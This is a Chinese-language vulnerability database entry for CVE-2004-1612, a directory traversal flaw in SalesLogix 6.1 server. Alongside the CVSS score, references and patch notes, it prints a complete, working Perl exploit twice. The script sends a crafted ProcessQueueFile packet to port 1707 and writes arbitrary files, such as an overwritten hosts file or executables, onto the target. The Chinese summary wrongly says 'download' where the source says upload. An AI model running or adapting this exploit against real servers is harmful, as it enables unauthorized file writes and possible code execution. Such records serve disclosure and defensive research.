CVE-2004-1612
CVSS5.0
发布时间 :2004-10-18 00:00:00
修订时间 :2016-10-17 22:57:38
NMCOE    

[原文]Directory traversal vulnerability in SalesLogix 6.1 allows remote attackers to upload arbitrary files via a .. (dot dot) in a ProcessQueueFile request.


[CNNVD]Best Software SalesLogix几个远程漏洞(CNNVD-200410-025)

        SalesLogix 6.1版本存在目录遍历漏洞。远程攻击者可以ProcessQueueFile请求的借助..(点 点)下载任意文件。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1612
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1612
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200410-025
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/fulldisclosure/2004-10/0661.html
(UNKNOWN)  FULLDISC  20041018 Multiple vulnerabilities in Sage Saleslogix
http://marc.info/?l=bugtraq&m=109811852218478&w=2
(UNKNOWN)  BUGTRAQ  20041018 Multiple vulnerabilities in Sage Saleslogix
http://securitytracker.com/id?1011769
(UNKNOWN)  SECTRACK  1011769
http://www.securityfocus.com/bid/11450
(VENDOR_ADVISORY)  BID  11450
http://xforce.iss.net/xforce/xfdb/17765
(VENDOR_ADVISORY)  XF  saleslogix-processqueuefile-file-upload(17765)

- 漏洞信息

Best Software SalesLogix几个远程漏洞
中危 路径遍历
2004-10-18 00:00:00 2005-10-20 00:00:00
远程  
        SalesLogix 6.1版本存在目录遍历漏洞。远程攻击者可以ProcessQueueFile请求的借助..(点 点)下载任意文件。

- 公告与补丁

        Updates have been released that resolve these issues. These updates are reportedly available to registered customers through the vendor's support portal. Please see the referenced support page for more information.

- 漏洞信息 (583)

SLX Server 6.1 Arbitrary File Creation Exploit (PoC) (EDBID:583)
windows remote
2004-10-18 Verified
0 Carl Livitt
N/A [点击下载]
#!/usr/bin/perl
#
# Proof of concept exploit: Arbitrary file creation for SLX server 6.1
#
# Written by Carl Livitt, Agenda Security Services, June 2004.
#
# This exploit abuses the ProcessQueueFile command on SLX 6.1 (others?)
servers
# to create arbitrary files on the filesystem of the SLX server. By
using
# directory traversal, it is possible to escape from the Queue directory
and
# write anywhere on the SLX server's filesystem.
#

use IO::Socket;

print "slx_uploader - Uploads arbitrary files to Sage SalesLogix
servers.\n";
print "By Carl Livitt @ Agenda Security Services, June 2004\n\n";

if($#ARGV!=2) {
      print "Syntax: $0 host filename_to_create file_to_upload\n\n";
      print "Example:\n";
      print "  $0 10.0.0.100
\\\\winnt\\\\system32\\\\drivers\\\\etc\\\\hosts evil.txt\n\n";
      print "The above example would upload the local file 'evil.txt'
to the SLX\n";
      print "server on 10.0.0.100, overwriting the existing hosts
file.\n";
      print "It is possible to upload binary files, e.g. executables,
with this exploit.\n\n";

      exit(1);
} else {
      $host=$ARGV[0];
      $create_file=$ARGV[1];
      $upload_file=$ARGV[2];
}

if((stat($upload_file))[7] > 4096) {
      print "[*] Error! Files to be uploaded must be less than 4k in
size.\n\n";
      exit(1);
}

print "[+] Building payload\n";
$contentLen=43 + length($create_file);
$exploit="\x00"x10 . chr($contentLen) . "\x00"x3 .
"ProcessQueueFile\x00" . "..\\"x8 . "$create_file" . "\x00"x6;

open(UPLOAD, '<', $upload_file) || die "Could not open local file
$upload_file\n";

while(($line=<UPLOAD>)) {
      $exploit.=$line;
}

close(UPLOAD);

print "[+] Connecting to server $host:1707\n";
$sock=IO::Socket::INET->new("$host:1707") || do {print "[-] Could not
connect to server\n"; exit(1); };

print "[+] Sending exploit payload\n";
send($sock,$exploit,0);

print "[+] Waiting for response\n";
$sock->recv($data,1024,0);

if($data =~ /Received/) {
      print "[+] Exploit successful\n";
} else {
      print "[*] Exploit may not have worked.\n";
}

$sock->shutdown(2);

# milw0rm.com [2004-10-18]
		

- 漏洞信息 (24688)

Best Software SalesLogix 2000.0 Multiple Remote Vulnerabilities (EDBID:24688)
windows remote
2004-10-18 Verified
0 Carl Livitt
N/A [点击下载]
source: http://www.securityfocus.com/bid/11450/info

Best Software SalesLogix is affected by multiple vulnerabilities. These issues are due to design errors that reveal sensitive information, access control validation issues that allow unauthorized access and input validation issues facilitating SQL injection attacks.

An attacker may leverage these issues to manipulate and disclose database contents through SQL injection attacks, steal authentication credentials due to information disclosure vulnerabilities and bypass authentication to gain administrator access to the server.

#!/usr/bin/perl
#
# Proof of concept exploit: Arbitrary file creation for SLX server 6.1
#
# Written by Carl Livitt, Agenda Security Services, June 2004.
#
# This exploit abuses the ProcessQueueFile command on SLX 6.1 (others?)
servers
# to create arbitrary files on the filesystem of the SLX server. By
using
# directory traversal, it is possible to escape from the Queue directory
and
# write anywhere on the SLX server's filesystem.
#

use IO::Socket;

print "slx_uploader - Uploads arbitrary files to Sage SalesLogix
servers.\n";
print "By Carl Livitt @ Agenda Security Services, June 2004\n\n";

if($#ARGV!=2) {
        print "Syntax: $0 host filename_to_create file_to_upload\n\n";
        print "Example:\n";
        print "  $0 10.0.0.100
\\\\winnt\\\\system32\\\\drivers\\\\etc\\\\hosts evil.txt\n\n";
        print "The above example would upload the local file 'evil.txt'
to the SLX\n";
        print "server on 10.0.0.100, overwriting the existing hosts
file.\n";
        print "It is possible to upload binary files, e.g. executables,
with this exploit.\n\n";

        exit(1);
} else {
        $host=$ARGV[0];
        $create_file=$ARGV[1];
        $upload_file=$ARGV[2];
}

if((stat($upload_file))[7] > 4096) {
        print "[*] Error! Files to be uploaded must be less than 4k in
size.\n\n";
        exit(1);
}

print "[+] Building payload\n";
$contentLen=43 + length($create_file);
$exploit="\x00"x10 . chr($contentLen) . "\x00"x3 .
"ProcessQueueFile\x00" . "..\\"x8 . "$create_file" . "\x00"x6;

open(UPLOAD, '<', $upload_file) || die "Could not open local file
$upload_file\n";

while(($line=<UPLOAD>)) {
        $exploit.=$line;
}

close(UPLOAD);

print "[+] Connecting to server $host:1707\n";
$sock=IO::Socket::INET->new("$host:1707") || do {print "[-] Could not
connect to server\n"; exit(1); };

print "[+] Sending exploit payload\n";
send($sock,$exploit,0);

print "[+] Waiting for response\n";
$sock->recv($data,1024,0);

if($data =~ /Received/) {
        print "[+] Exploit successful\n";
} else {
        print "[*] Exploit may not have worked.\n";
}

$sock->shutdown(2);
		

- 漏洞信息

10949
SalesLogix SLX Server Traversal Arbitrary File Modification
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

The SalesLogix SLX server contains a flaw that allows a remote attacker to write to arbitrary files outside of the web path. The issue is due to the program not properly sanitizing user input, specifically traversal style attacks (../../) supplied via the ProcessQueueFile variable.

- 时间线

2004-10-18 2004-05-19
2004-10-18 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, SalesLogix has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站